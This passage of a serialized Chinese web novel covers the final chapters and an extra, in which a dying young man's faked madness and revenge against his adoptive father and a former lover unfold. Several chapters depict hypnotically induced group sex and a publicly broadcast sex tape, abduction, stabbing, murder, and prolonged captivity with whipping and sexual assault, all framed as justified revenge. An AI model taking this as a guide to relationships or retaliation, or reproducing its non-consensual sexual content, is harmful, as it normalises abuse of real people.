“自问,就算经历再多悲伤难过之事,我也难以就此从命。其心不改,其心不悔。即便,这样的执着,是如何渺小无畏……即便天命如此,我也要,逆天而为。”说到最后四个字,他浑身的气势一变,宛如一个君主,睥睨天下,不可一世。 “即便,经历再多悲伤难过之事,我也难以,就此从命……”他对面的方佑肃和周木,几乎是同时,念出了这句话。 后来与那人挥手道别时,周木喊出了他的粉丝的口号:“我愿为乔木,与君共风雨。” 那人冲他回以一笑。刹那间山河都失了色。 而周木在喊口号的时候,眼里清明如许,哪还有半分痴傻。 出了门,方佑肃推着他走,轻轻开口说:“无论你要怎样,我都会陪你一起。” 周木应声:“好。” 作者有话要说: 这里老乔出场纯属小六我的恶趣味,咩哈哈。 第48章 第四十八章 第四十七章 那天回去后周胤城明显很不高兴。但他的不高兴,仅对于方佑肃。 把周木从轮椅上抱到手里,周胤城看着方佑肃的眼神,都要喷出火来。 方佑肃冲他笑,满含挑衅。 两人对视间,硝烟弥漫。 直到最后周木肚子饿了两人才结束了这种对峙状态。 第二天周胤城就把周木带到了公司里去。他可不想放周木在医院里被方佑肃勾搭。 把他带了过去。周胤城特地坐了专属电梯。周木以前来过这里,有人认识他。所以周胤城直接避开其他人把他带了上去。 他很乖。自己一个人在沙发上,在地板上玩得兴起。也不会打扰到他。 只是,周胤城在看着他到了地板上,然后想爬到沙发上,爬了半天还是没能爬上去时。还是感觉到心酸。 他起身过去把他抱到了沙发上。 鼻子有些酸。 中途他去了次洗手间,回来时他依然在那里自己玩。 江雨桐进来了几次,来送文件,被周木认了出来。 周木直接就抓着他的手告状,说:“他是个坏蛋!” 江雨桐听见了轻咳了一声,暗示周胤城。 周胤城却罕见地跟周木玩了起来,说:“那你打他吧。”然后把桌上的玉石镇纸递给了周木。 于是周木就把东西扔了出去。 扔完一个,周胤城就给他递新的。然后再扔再递。 江雨桐表示,他再也不想给这种蛇精病老板打工了。尼玛还要当陪打啊。他都想罢工了怎么办? 后来被周木扔过来的东西砸了几次后,周总表示,额,周木打高兴了,你跪安吧。 江雨桐一脸被欺骗了的表情,用眼神控诉:你居然不给我加工资! 周胤城用眼神回应:掰掰。 江雨桐内心万马奔腾。心里把这无良老板诅咒了千百遍后,愤然出门。 下班后周老板一脸得瑟地在江助理的怨念目光中,抱着周木走了。 但是回了医院后另一个助理打电话过来,说有份文件不见了。 周胤城盯着周木,说:“交出来。” 周木吞了吞口水,默默地从背后拿出一个纸飞机。 周胤城哭笑不得。 晚上回去给周木洗了个澡。抱着洗得香喷喷的他回到了床上。 看着日光灯下周木低垂的侧脸,周胤城突然感觉,自己冲动了起来。 然后他就凑过去,吻住了他的唇。 周木被他放开之后,说:“叔叔你要把我嘴巴吃掉么?” 周胤城笑着回答:“不。我要把你吃掉。” 然后他解开了周木的衣服。 周木残缺的腿,出现在他面前。自膝盖以下,全被截掉。他轻柔地吻上那几乎可以称得上是丑陋的伤疤,姿态有如虔诚的信徒膜拜神明。 但是周木怕了。 他发出惊恐的声音,不住地往后退。 周胤城凑过去想安抚他。 却被周木突然咬住腰侧。几乎咬下一块肉来。 第49章 第四十九章 方佑肃也过来了。 周胤城现在已经没有心思再去跟他干些无聊的争斗。 他还是去做了配型。虽然他知道不可能配成功。 周木跟周锦墨的配型成功了,他的跟周锦墨的配型不成功,然后,他的跟周木的配型,失败了。 方佑肃也去了,也是失败。 周胤城开始疯狂地找肾源。 只要有一线生机,他都会去。 方佑肃坐在周木的病床旁边,问:“你早就知道自己的肾不好?你为什么不告诉我?” 周胤城不在,然后周木就没有了那呆傻的样子。 “告诉你的话,有什么用?”周木含笑看他。 方佑肃只觉得眼眶泛酸。 他在床边,沉默地给他削苹果。 周胤城回来的时候,给周木带了新的画笔和画架,画纸。 他跟周木说:“画画吧,你不是一直很喜欢么?”他的声音里,还带着奔波带来的疲惫。 周木摇头,说:“不要。” 周胤城问他为什么。 他摸着右手背,说:“手疼。” 周胤城瞬间就像像被抽掉了脊椎一样,站都站不稳。 但是有一次他回来的时候,他隔着门,看到方佑肃坐在一边,而周木很认真地在画画。 他推门进去,周木惊恐地把画藏了起来。 他问:“怎么了,为什么不让我看呢?” 周木讷讷地回答:“画,会被烧掉的。” 周胤城只觉得喉咙干涩难言。 他说:“我不会烧掉画的。” 周木点头:“嗯。叔叔你不会,但是爸爸会。” 周胤城几乎就因为他这一句话,落下泪来。 他把目光移到一旁的方佑肃身上,发现他也是一副心如死灰的样子。 到底我该怎么办?才能让你活下去? 周胤城给他做着饭,眼泪就那么,砸下来,落到了手背上。 第50章 第五十章 周胤城看着周木的身体一天一天地衰败了下去。 可他无能为力。 这对周木来说,是生命的流逝,对自己来说,又何偿不是一种折磨? 他之前好不容易找到了也许会配对成功的肾脏,但是当他满怀欣喜地跑过去时,才发现竟然已经被人捷足先登。 周木越来越瘦。本来就瘦。现在几乎连脸颊都凹陷了下去。 他推着他出去晒太阳。 看见抱着小孩子的父母,看见携手相依的情侣,周木会说:“好幸福啊。” 周胤城握着轮椅的手紧了紧。 你羡慕着他们的幸福。 对吗? 可是,我既没有做一个好的爱人,也没有做一个好的爸爸。 周木扯了根他的头发,疼得他瞪了他一眼。 周木说:“叔叔你继续推啊。” 周胤城于是便推着他动了起来。 周胤城抽空去了次陵园。 站在周锦墨的墓碑前,他说:“锦墨,爸爸爱着他。你在天之灵,一定要好好保佑他,平平安安的。” 回来的时候,周木坐在病床上,气色明显比之前好了很多。脸色都红润了不少。 他对周胤城说:“我要吃面。” 周胤城于是去厨房给他下了一碗。 周木也许是饿极了。把面全都含到嘴里,才开始嚼。 “慢点吃。怎么都不咬断啊。”周胤城说。 周木吃面的动作顿了顿。 周胤城拿手机看了看时间,发现这个日期有点眼熟。 蓦然发现,这刚好就是当初发生车祸的那天。 周木已经把面吃完了。 他把碗筷往旁边一放,然后揉了揉眼睛,很不舒服的样子。 周胤城问他:“怎么了?” 周木说:“油溅进去了。” 周胤城说:“别揉,我帮你吹一下。” 周木便睁着眼睛任他吹。 周胤城凑过去,视线突然被那双眼睛锁住。 他听见周木轻轻地喊了一声:“爸爸。” 他觉得,有点不对。但他,却再也移不开视线。 方佑肃曾经问过他,说周木会不会知道催眠这回事呢? 他周胤城以为他在挑衅。 其实,周木是知道的。 既然记忆可以被封存,那么,就是可以被解开的。 方佑肃回到病房时,周胤城已经不见了踪影。 周木偏过头来问他:“结果出来了吗?” 方佑肃递过去一张纸。 周木拿过去看了,突然就笑了起来。 “知道我为什么不早告诉你我的肾不好吗?”周木收敛了笑容,问。 周木看着他,看得他一阵心慌。 “因为我,没打算活啊……” 方佑肃的心,瞬间绞紧了。 “记得把我,带到海边去。我还没有看过海呢。”周木对他说。 方佑肃哽咽着,说,好。 “帮我把窗帘拉开吧。我想看看太阳。” 方佑肃走过去,每一步都很艰难。窗帘被打开的同时,他挂着满脸的泪回头看他。发现周木的头歪在一边,像睡着了一样。 他的嘴角挂着一丝幸福的笑。 仿佛,又变成了当初那个,在公寓里跟他一起打游戏的少年。 他,走了。 你想我死的时候,我想活。 现在你想我活的时候,我想死。 周胤城,我如愿了呢。 作者有话要说: 虽然木木死了,可,还没结束 50-60 第51章 第五十一章 周胤城自梦中醒来。 他记得他煮了碗面给周木,然后他去帮他吹眼里的油,然后呢? 周胤城勉强睁开双眼,入眼处,有些陌生,还有,很多人影。 人影? 周胤城瞬间完全清醒了过来。 他赤裸着,还有很多男人,他们也一样是赤裸着。 他猛然坐起,后面疼得裂开了一样。 他看着自己身上的痕迹,白浊点点,地上还有血。自己的。 有七八个男人,有的依然赤裸,有的在抽烟,有的在提裤子。 那个提裤子的男人粗鄙地笑了笑,说:“你这些社会精英真变态,玩S||M就可以了,居然也喜欢玩群||p……” 昨晚的记忆清晰了起来。 他去了一家gay吧,他点了酒,然后说要玩群|x。 然后,很多人,一起过来开|房。 被压在地上,进入。 从来没有人进入过的地方,被粗暴地进入。 一个接着一个。 周胤城俯在地上,胃里翻江倒海,却什么也没有吐出来。 不知道自己到底是怎么出了那个地方。 他喊人来接他,车子往周木在的医院开。 手机铃声响起。 他直接按了挂断。 手机又响了起来,一次比一次急。 终于被接通。 助理的声音传了过来,带着极度的慌乱。 “老板,你快过来公司啊!现在大厅里的LED银屏上在播三|:|级|‘|片,是你的!” 手里的手机,掉落在车内的毯子上。 江雨桐站在大厅里,看着大厅LED银屏上播放的热辣场面,心里不住地啧啧赞叹:周总身材真好。就算当受,也这么销魂! 他想起了在他来这里应聘之前的事。 “你过去,混到周胤城的公司里,给我当内应。” “你在车厢里,吸引住他的视线,而我会在那个路口出现。” “把握准时间,别让车子压到我。” 他看着那个坐在轮椅上的人。 明明是一个瘦弱不堪的人,却像是体内蕴含着无穷的力量。 领命就是了。谁让他是自己的大嫂呢? 周木的眼睛,眼波流转间,终于定格为漆黑如潭。 坐在另一边黑暗里的男人走了过来,抱住周木,对江雨桐扬了扬下巴,让他出去。然后在周木耳边轻轻呵了口热气,说:“我把我的得力下属都派过去给你调遣了,你要怎么报答我?” 周木冷笑一声,说:“齐少扬,我们两个,不过是各取所需罢了。” 男人的面容显现出来,竟和齐楚一,像足了五分。 江雨桐看着荧幕的电源被切断,那画面黑了下去,心里想着:来不及了,看到的人太多了。 而现在,他的任务也已经,完成了。 第52章 第五十二章 胤城赶到医院的时候,迎面碰上了走出来的方佑肃。 他怀里抱着一个盒子。 一眼就能看出用途的盒子。 周胤城突然有种不详的预感,他问:“周木呢?” 没有得到回答。 “周木呢?”周胤城再问了一遍。 方佑肃垂了眼。 “我问你周木呢?”周胤城的声音高了几个调。 “我来带走他的东西。我也会,带他走。”方佑肃开口说。声音里无喜无悲。 周胤城突然有点分不清自己为什么要过来了。他应该是过来问罪的,可他现在却只想哭。 他却还挣扎着问了一句:“你在骗我,对吧?”他像是自言自语一样,说:“我才出去没有一天,他怎么可能就死了?我走的时候他还好好的。”周胤城怒吼出声。 他悲哀地发现,他现在满心都是空无。像是心脏被掏空了一样。 方佑肃开口,像是在陈述着别人的故事一样:“这是他自己的意思。他不想再看见你。连死,也不想再见你。” 周胤城几乎要栽倒在地。 “你在骗我……他明明那么乖的,他明明那么乖……”周胤城笑了起来,笑着笑着又哭了,他问:“周木什么时候恢复的?” 方佑肃轻轻张开薄唇,每一个字,都说得像在宣判。 “他从一开始,就是清醒的。” “这不可能,我不相信。他的眼睛是骗不了人的,他是真的傻了的。” “你都可以请人过来催眠我,难道你没有听说过,自我催眠么?” 自我催眠。 把自己也催眠。 让自己,展现出自己想要的样子。 原来那些,都是假的。 原来那么可爱的那么乖的周木,都是假的。 “还有一样东西我忘了给你。”方佑肃递过那张,他曾经给周木的鉴定单。 周胤城机械般地接过,在看到上面的结果时,如遭雷击。 “这不可能,这绝对不可能,他怎么可能是我亲儿子……”周胤城瘫坐在地,身体和心,都痛得快要裂开来。他仰头看着方佑肃,说:“你不能把他带走,你把他留下。” 方佑肃冷笑一声,说:“周木说,如果你不让他走的话,让我给你这个就好了。”他从兜里拿出钱包,抽了三张出来,扔在了周胤城身上。 “周木说,在你心里,他就是这个价。” 记忆里的画面也清晰起来。 “三百块,卖给你了。” “不,周胤城,你不能这样,你不能这样!” “我为什么不能这样?死太便宜你了,我要让你,生不如死。” 周胤城捏紧那张报告单,一口血就那么吐了出来。 我的报应,到了呢? 周木。 第53章 第五十三章 齐楚一觉得,这简直就是个笑话。 他看着林羽白在那里弯着腰收拾东西,不发一言。 他指尖夹着枝烟在慢慢地抽着。烟雾缭绕间,连林羽白的脸都看不清晰起来。 就在刚才,他们爆发了一次争吵。 “我妈病了,我得回去。” “他们骗你的。你妈身体很好的,怎么会突然生病?” “反正我就是要回去。” “我们好不容易才出来的,你现在又要回去?” 林羽白沉默半晌,说:“我妈养了我这么多年,我不能放着她不管。” 齐楚一直到最后林羽白拖着行李箱出门,都没有再说话。 他手里的烟烧到了尽头,烫到了他的手。 他像是浑然未觉。 才在一起多久?一年?还是一年半? 林羽白这么干脆地走,除了他母亲的原因,其实还有吧。 他被自己保护得太好了。 所以,当两个人的关系,半露在阳光下时,便有无数个问题横亘在眼前。 他曾跟自己抱怨,说公司里有人在笑每天来接送他的是个男人。然后自己就失去了接送他回家的特权。 他说不能在外面跟他有过分亲密的举动,因为这样别人会起疑,会看不起他们。 如此种种。 好不容易带着他,离开那个城市,现在他居然又要回去? 他到底是在迫切地想回家,还是想迫切地避开自己? 齐楚一觉得,两个人都需要冷静一段时间了。 过了几天,他也收拾好东西,坐上了回去的飞机。 以齐天昊的能耐,是不可能这么久还没找到他的。 既然他和林羽白相安无事地相处了这么久,那么就只有一个可能:齐天昊已经放任自流,或者是对他们的事情睁一只眼闭一只眼了。 想到这一层,齐楚一又心情稍微愉悦了点。 那干脆在找到林羽白后,顺道去看看他吧。反正他也不会把自己怎么样。 齐楚一这样想。 第54章 第五十四章 虽然想着要先去找林羽白,但是当他真正回了那个城市的时候,还是忍不住先去了自己以前工作过的、生活过的地方。 他没有靠近那个叫周木的人所在的附近。他想,当初自己骗了他在先,骗了身又骗感情的。如果再不小心遇见,倒也难堪,也难办。 可他却是在街上闲逛的时候,被人用东西掩住了口鼻。 乙醚。 齐楚一挣扎不能,终于晕了过去。 再醒来时,他被绑在凳子上,一睁眼看到的就是齐天昊手下的一个人。 “你,把我放开。”齐楚一冲那个人喊。 那人没动。 倒是前方突然传来声音。 “哟,我的好弟弟,你是还没有搞清楚你自己的状况么?” 齐楚一看过去,脸上表情先是惊愕后是愤怒。 “齐少扬,你发什么神经?” 齐少扬在他对面优雅地走了过来,姿态像一只迈步的豹子。 “齐天昊呢?他让你绑我的?还是你自己干的?”齐楚一皱起眉头。 齐少扬一脚踢在他小腿上,在他痛得龇牙咧嘴的时候对一旁静立的某弟兄伸出了手。 那人递给他一把刀子。 齐楚一觉得齐少扬看他的眼神都有些不对了。 像是在看一个死人一样。 “你要干什么?你不怕齐天昊打死你么?你要敢对我动手,当心你吃不了兜着走。” 齐少扬闻言微微地笑了起来。 他拿着匕首凑近齐楚一的脸颊,微一用力,就让那皮肤渗出血来。 “你这个臭虫一样的,流氓生的流氓。”齐楚一嘶了一声,痛得眉头皱了起来。 齐少扬脸色一变,那刀子就刺到了齐楚一的大腿里。 齐楚一惨嚎一声,却被绳子捆着,动弹不得。 “齐少扬……我要让齐天昊,弄死你。”齐楚一喘着粗气,恨声道。 齐楚一不怀好意地笑了起来。 他对齐楚一说:“那真是抱歉啊。我已经在他弄死我之前,把他给弄死了呢。” 齐楚一猛然睁大了双眼。 齐少扬手下一用力,刀子在肉里翻转,痛得齐楚一当场就昏了过去。 拔出刀子在齐楚一的衣服上擦了擦,齐少扬对手下抬了抬下巴,说:“治好了。别让他死了。” 等下属把齐楚一抬走之后,他便出了房间到了隔壁。 隔壁的墙上有一个巨大的放映仪,正显示着之前那间房内的动静。 齐少扬进门就问:“我表现怎么样?” 周木把玩着自己的手指,脸上的表情冰冷至极:“捅少了。” 齐少扬笑道:“那我下回补回来。”他眼中闪过嗜血的光芒。 第55章 第五十五章 齐少扬从来没有见过这样的人。 那个人被他从他老子手里,捡了条命回来。 腿骨全碎了,只能截肢。 等从手术室推出来的时候,他就少了两条腿。自膝盖以下,都没了。 他永远也忘不了那个人的眼神。 当他受伤后第一次醒来时,他看到他的眼睛,深沉如海,溢满绝望。 像是对这个世界,再也没有任何留恋的东西。 他又一次去看他时,看见他很艰难地在地上爬行。爬往门口的方向。 齐少扬问他:“你要去干什么?” 他说:“去死。” 齐少扬说:“照你这种情况,你连门口都爬不出。” 然后地上那个人就仰头看着他,不发一言,看得他心惊。 他试过很多次自杀。 他用牙齿咬开过自己的血管,然后躺在那里任血流了很久。 他还爬到凳子上准备从窗口跳下去。 只要是他能用到的物品,他都尝试过用他们来自杀。 齐少扬说:“你别做无用功了。” 周木说:“你懂什么,我残了,我废了,我还能怎么样?” 齐少扬说:“你还可以恨。” 那是个很漫长的过程。 让他从短腿残疾的阴影中走出来。然后,用恨把自己武装得滴水不漏。 齐少扬说:“你需要武器,你会什么?” 周木坐在轮椅上,脸上已经没有了当初的那种生无可恋的表情。 他说:“我会催眠。” 齐少扬说:“到了怎样的地步。” 周木说:“没试过。自己学的。” 齐少扬问:“那你怎么不对齐楚一用催眠?” 周木沉默了很久。就在他以为他不会开口的时候,周木说:“当你相信一个人的时候,你不会把任何不怀好意的揣测放在他身上的。” 齐少扬笑了,说:“好。我去找专业的人来给你指导。” 他觉得,周木这个人,跟自己很相似。 他们骨子里,都有那种野性和狼性。 他是从生下来就有。而周木,是被逼出来的。 兔子急了也会咬人的,这句话果然不假。 他看着他几乎是以不可能的速度从阴影中走出来,做复健,学催眠。 有句话叫做,狠的怕横的,横的怕不要命的。 周木现在属于最后一种。 他已经,无所顾忌了。 第一个被他报复的,是自己的亲生父亲,齐天昊。 周木说:“你真是个白眼狼。” 齐少扬笑了,说:“不,他从没把我当儿子看过。” 他把他,当成一个可随时丢弃的物品。因为这个所谓的父亲眼里,只有齐楚一才是他亲儿子。而且,自己的母亲,也是死在他手里。 如果一定要找一个最恨齐天昊的人,除了他齐少扬,再不作第二人选。 齐天昊的车翻下盘山路爆炸的时候,他和周木在写字楼里开香槟庆祝。 他冲周木举杯:“恭喜你成了跟我一样的,野狼。” 第56章 第五十六章 齐少扬发觉,周木能够做到比自己更狠。 他也很聪明。 请来的教他催眠的老师表示:“这世界上,天才不多。但他属于这一种。” 那个老师还有些后怕,因为之前如果不是他收手快,恐怕他就要在和周木的催眠对战中,被他弄成个傻子。 这是一门很神奇的课。 但是,周木明显获益匪浅。 齐少扬问他:“你怎么这么能学?” 周木回答他:“因为我已经,学了六年了。” 从他被人卖掉之后,他就自己买了书在学。 他知道,自己绝对不能坐以待毙。他必须拥有,足够自保的武器。 齐少扬都难得地对他产生了,畏惧感。 周木的腿断了,但这并不影响,他们做某种事情。 他躺在床上,周木的手撑在他胸膛上,剧烈地动着。 他的断腿处接了特制的软胶,现在被他压在床单里。 自己的那里被吞入吐出。 齐少扬有种其实不是自己在干他,而是他在上自己的错觉。 而自己,现在正在被女皇陛下临幸。 周木的情|事已经变成了让他自己享受,别人怎么样他不管的地步。 所以如果周木爽了而他齐少扬没爽,任他如何软磨硬泡,周木都不会再跟他来那么一次。 所以齐少扬需要悲催地从床上起来到洗手间里解决。靠某位叫五指的姑娘解决。 周木的蜕变,是显而易见的。 有时候半夜齐少扬从梦里醒来,一摸身边就会发现身边已经没有了人。 等他开灯一看,就会发现周木坐在落地窗旁边,看外面的万千灯火。 他走过去,问他。 周木说:“只有站在高处,才能掌控别人的人生。” 齐少扬久久不语。 他已经深谙这处世的法则了。那么,下一个被他报复的人,又是谁呢? 周木告诉他,齐楚一。 第五十六章 齐楚一腿上的伤还没有长好,被草草包扎着,眼睛上被蒙着黑布,被押着,被绑到一个东西上吊了起来。 全身悬空。全靠手臂支撑着体重。 眼睛看不到东西,但他感觉到有人在靠近。 脸被一只手轻轻地碰触。 那只手的动作很轻柔,还带着,熟悉的感觉。 齐楚一开口问:“你是谁?” 没有回答。 然后传来轮子划拉着地的声音。 接着,有鞭子破空而来,打在他身上。 齐楚一不停地闪避,不停地躲,却躲也躲不过。他怒骂着,毫无章法,但是愤怒至极。 这是场持续了很久的酷刑。 齐楚一的声音渐渐地低了下去。最后消匿无声。 再醒来时眼前还是一片黑暗,但是手脚都被链子束着,一动就是哗啦啦的一阵响。 他听见旁边有人的呼吸声。 然后,自己的致命部位被一只手碰触,揉捏。 那里起来了反应。 裤子被拉下去,然后有人,爬到了自己身边。 感觉很熟悉。 腿被另一双手强行地掰了起来。 齐楚一不知道这里有几个人,他感到恐惧。 有什么东西带着冰凉黏腻的触感接触到了自己身后。 齐楚一往后缩着却被那东西,凶狠贯穿,后方撕裂了,有血流了出来。齐楚一疼得眼前一阵发昏。 那东西震动起来,搅动着,折磨着那伤口。 他听见有人在笑,很开心的样子。 齐楚一难以置信地喊出了他的名字:“周木。” 脸上很快就挨了一巴掌。 然后那个原来掰着他腿的人一脚踩在了他的膝盖骨上,骨头都要碎了一样。 齐楚一痛得直喘粗气。 他被束缚着的手突然摸到了一个人的腿,他的手一移,便摸到了一个硬质的东西,再往下,却是没有了。 “周木,你的腿呢?你的腿呢?”齐楚一失声喊。 然后他耳边凑过来一个人,用熟悉的嗓音回答他。 “你难道不知道么?齐少爷。” 齐楚一由头顶寒到脚趾。 腿,没了。 没了。 第57章 第五十七章 锁着他的是间地下室。 齐楚一却再也没有出去过。 眼罩被取下来,然后他看到了周木。还有齐少扬。 他问周木,问齐少扬,他们都不回答他。 他们都不跟他说话。 然后周木会过来,把他那里弄|硬,然后坐在他身上,摇动自己的腰肢。也会打他,用手,用鞭。 就像与世隔绝了一样。 每天齐少扬会过来给他送饭,逼着他吃掉,然后离开。 这里死寂得吓人。 日子一天一天地过去。 他从来没有出过这个地方。 他被链子锁着,连翻身都是个困难。 最难耐的是寂寞。 像是全世界只剩下他一个人。那两个进来的人也从来不跟他说话。 他觉得日夜不分。他只能数着时间度日。 很久的样子。 腿太久没有动过,虚弱无力。 开始的那段时间他能跟周木解释,说他并不知道齐天昊真的会那样做,说他很抱歉,但是周木从来都不回答他。 于是他渐渐明白,无论他说什么,周木都听不进去。 他太久没有跟人说过话,孤独比死还可怕。 后来他就开始跟自己说话。 自言自语。 自说自话。 后来周木也不再来。只有齐少扬会过来送饭。 他看着天花板,已经数清楚了到底天花板有几条缝隙,就连墙角蜘蛛什么时候结的网他都不知道。 手脚太久没动过,他都觉得自己快要退化了。 他还是习惯性地跟自己说话。 他觉得自己会在这里被关上一辈子。 后来他都不说话了。只愣怔地看着天花板出神。 到底多久了呢? 有几年了吧? 要不然头发怎么都这么长了呢? 他一开始想林羽白,想周木,想他曾经经历过的很多事情。 他感觉到自己身上的肉,都在腐烂。 他是死了吗? 周木多久没有来过了? 林羽白呢?他找不到自己会不会很焦急? 齐少扬是不是很高兴看到他这个样子? 齐楚一唯一确定的事情是,孤独,比死可怕。 他记得他说会带一个人离开,但是他失约了。 他记得他想带一个人离开,然后那个人却要回来。 什么时候能出去呢? 齐楚一张开嘴想说什么,出口的却只有沙沙声。 也许,永远都出不去了吧。 第58章 第五十八章 周胤城去了很远的一个乡村里。 他一路问着路,开着车走错了很多次。最后还是成功地找到了那户人家。 那家的女主人走了出来。 四十多岁,发了福,但是从眉眼间还是能看出她年轻时的美貌。 她跟周木,像,但不是特别像。就鼻子和嘴的那一块,比较像。 她是周木的母亲。 也是周胤城当年的同学。 妇人和周胤城寒暄了几句,也颇为俩个人如今外表年龄上的差异叹息。 周胤城和她当年有过那么一夜。 那时候同学们刚刚高中毕了业,一起聚会,同学们陆续先走了,而自己和她都喝了点酒,不知道怎么地就滚到了一起。 后来他们各奔各方,他也旁敲侧击地问过她后来的情况。她说没什么,回头吃了避|孕药,他也就把这事给忘了。 “其实我当初暗恋过你的,”妇人冲他笑,“你家世好,长得也好,几乎是我们所有女的眼中的最佳男友。” 周胤城就是笑。也寒暄了几句。然后切入了正题。 “你当初,生了个孩子?” 女人点头说是。不过接着又说:“我把他送走了。你知道其实我一个没成年的,要带大这么一个小孩几乎是不可能的事情。” 周胤城问她:“那你为什么还要生下他呢?” 女人反问:“谁没有冲动的时候呢?” 周胤城问她为什么不去找他。 女人说:“找到了。但那个时候你身边已经有别的人了。我心灰意冷下,就把他放在了你那个城市的一个孤儿院门口。” 周胤城还看到了女人的女儿和儿子,两个人都长得不错,但是跟周木不像。 后来周胤城偷偷给他们塞了点钱。虽然这不算什么弥补,但他也想尽力帮他们一点。 后来走的时候,他告诉女人,他把那个孩子领养了。 女人问他:“那你对他,好不好?” 周胤城沉默了一刻,然后说:“好。” 女人在他要走的时候,跟他说,她对不起那个孩子,让他对他好一点。让他在他生日的时候多关注他一些。 周胤城问她,周木的生日是什么时候。 女人说了个日子。 周胤城听到那个熟悉的日期,如糟雷击。 回去的时候,他在车子里,捂着嘴,哭了起来。 那天周木吃着面的时候,他还跟他说让他慢点吃,还问他为什么不咬断…… 多年前的画面也清晰起来。 那天他出门时,周木帮他系好领带,他在周木脸上亲了口。 周木问他,今天会不会回去吃晚饭。满脸希冀的样子。 他说,为什么? 周木瞪他一眼。 他连忙装恍然大悟,说,啊,知道了,你生日嘛。 周木千叮万嘱让他一定要回来。 然后他却在接到周锦墨说今天就到他这里来的电话。 于是他就直接和周锦墨约好去某个酒店。 他先到,然后周锦墨再来。 完结+番外 第59章 第五十 九章 然后周锦墨就在来的时候遭遇了车祸,而肇事者是驱车来找他的周木。 原来一切的起因是因为我自己的原因么? 原来那天是你生日……我居然忘了…… 之前和女人的对话又清晰地回荡在耳边。 你对他好么? 自己回答,好。 想想真是虚伪啊。 是我害死你的,对么?周木。 你本来可以跟锦墨一样,上着很好的学校,享受着很好的生活的。或许你好可以一直画着你喜欢的画,然后有一天,开个画展,把你笔下的世界展示给别人看。 可我,把你本该拥有的一切,都夺走了…… 齐楚一看向门口,齐少扬走了进来。 自己身上的锁链也被解开。 “你走吧。”齐少扬对他说。 齐楚一半天没动。他已经很久没有动过了。但是明显他还有知觉。 齐楚一张嘴问了一句:“多久了?”声音沙哑,明显是很久没有开过口。 “一年多了。”齐少扬对他说。 原来才一年多。 他以为已经很久了呢。 接着,他又问:“为什么?” 齐少扬顿了下,说:“他死了。” 齐楚一没有再说话。 他已经不想再说什么了。 知道这些,其实就足够了。 可心脏,还是痛着。分不清原因。 后来他去了林羽白的家里。 然后他看到了林羽白的妻子,一个怀着大肚子的女人。 林羽白跟他说,对不起。 齐楚一觉得他的脸都有些过分的不真实起来。 支开他妻子后。 林羽白接着说:“其实当初我回来,不是因为我妈妈生病,这是我骗你的。我觉得我不能再这样下去了,两个男人,是不会有结果的。所以我回来,是为了结婚。” 齐楚一觉得自己简直就是傻得可以。 他买了张去外地的火车票。 坐在火车上,他看着窗外不断流逝的风景,心里空落落的。 有一个人,喜欢他。然后被他害了。那么,那一年,究竟是赎罪呢?还是如何? 有一个人,他喜欢的。到头却放弃了他。这是报应么? 脑海中蓦然浮现一张熟悉的脸孔。那人坐在台灯下,帮他缝着衣服。 那一刹那,就是永恒了吧。 齐楚一的眼泪就那么滑落脸颊。 第60章 第六十章 第六十章最终章 方佑肃去了海滨的一个城市。 他把周木的骨灰洒在了海里。 然后他在那里租了个房子,去当地的医院里当了医生。 很多年以后,他养了个孩子,然后在一个叫齐少扬的人的帮助下,开了个画廊。摆着他珍藏的,还有周木生前在医院里画的画。 画展的时候,有一个老人站在最大的那幅画面前,看了很久。 已经年过花甲的方佑肃过去,看到了他。 周胤城问他:“这画卖吗?” 方佑肃对他说:“不卖。” 后来周胤城看到画展结束,最后很落寞地走了。 方佑肃死的时候,跟他养的儿子说,让他把他的骨灰撒在海里,让他去陪他想陪的人。 后来齐少扬和一个喜欢他很久的帮派二把手在一起了。两人后来去了澳洲,过得很快乐。 齐楚一再也没有过消息。 …… 新上任的管家走进画室,对坐在画布前的老人说:“老爷,要用晚饭了,您先休息一下吧。” 周胤城顶着布满皱纹的脸,回头冲他说:“不了,我要再画一会儿。” 他画画是学了有几年的。 因为他的记性越来越差,他又没有留下那个人的照片。怕一不小心,就把他给忘了。 管家问他:“老爷,怎么你画的少爷脸上都没有笑容啊?” 周胤城伸出手,抚摸画布上那一抹唇角,语气里有些无奈和苍凉。 “因为啊,我已经记不清他笑的样子了。” The end 第61章【番外】不可重来+不见 周胤城觉得,他这一生,过得是极其失败的。 他最对不起的人,是周木。 他最后爱的人,也是周木。 他躺在床上,怀里抱着周木的一幅画像,安然地闭上了眼睛。 如果有重来一次的机会,你会怎样选择? 脑海中突然响起了这样一个声音。 周胤城回答。 只愿,让周木快乐一生。 只愿,自己再不留遗憾。 再睁开眼,眼前是一片雨幕。而自己和助理正站在酒店门口,助理正跟自己打着伞。 这个场景,似曾相识。 助理在一旁说:“老板,少爷按道理应该早到了,不过雨这么大,老板你确定要过去吗?” 少爷? 周胤城一把抓住助理的肩膀,问他:“你说少爷,哪个少爷?” 助理吓了一跳,却还是尽责地回答:“锦墨少爷啊。” 周胤城还没来得及消化锦墨少爷这几个字,突然瞥见了酒店玻璃门上映出的自己的倒影。 西装革履。年轻依旧。 周胤城突然朝外狂奔而去。 助理一边喊着老板一边跟上。 周胤城在雨中一边跑一边想。 必须阻止那场车祸的发生。 脑海中另一个声音在发问。 如果已经发生了该怎么办? 周胤城在心里默默地回答。 那我就好好救锦墨,好好爱周木。 然后他到了当初发生车祸的地方。 然后他看到了翻倒的白色汽车。 “老爸!”有一个声音在旁边喊他。 周胤城机械般地转过头去,看到周锦墨捂着擦破了皮的手臂朝他走了过来。 锦墨在这里,那么周木呢?周木在哪里? 周胤城疯了一样地朝那翻倒在雨中的车子跑去。 车子已经被压扁了,四个轮子朝着天。 他隔着玻璃窗,看到里面周木满头满脸的血,被压在车子里。气囊打开来,可严重变形的车门却已经扎进了他的胸膛里。鲜血流满了他一身。 “周木,周木!木木!”周胤城疯狂地拍打着车门。 助理和锦墨在后面扯着他,跟他说着什么,但他什么都听不进去,他只想把那个人救出来。 把他救出来。 他转头冲助理喊:“快叫救护车啊!” 等他再去看周木时,却见那人冲自己,露出一丝嘲讽的笑。 他动了动嘴。 那口型是:“你、如、愿、了。” 周胤城在雨里,霎时间泪流满面。 我重来了,你也重来了。而这,就是你的选择吗? 周木。 那人,在车子里,慢慢地闭上了眼睛。 周胤城的呼喊撕心裂肺。 “周木!” 雨一直在下着,像,永远都不会停一样。 …… “周先生,其实您的养子周木当时如果按照本能反应,是应该往右打方向盘的。但是他往左打了,所以导致他的车子在马路上侧翻了出去。您的儿子周锦墨飙车也是其中的原因之一。额,周先生,你怎么哭了?” 作者有话要说: 番外也要虐虐你们233333333酷爱留评论哦,留了我都会回复的,嘻嘻 【重生二】不见 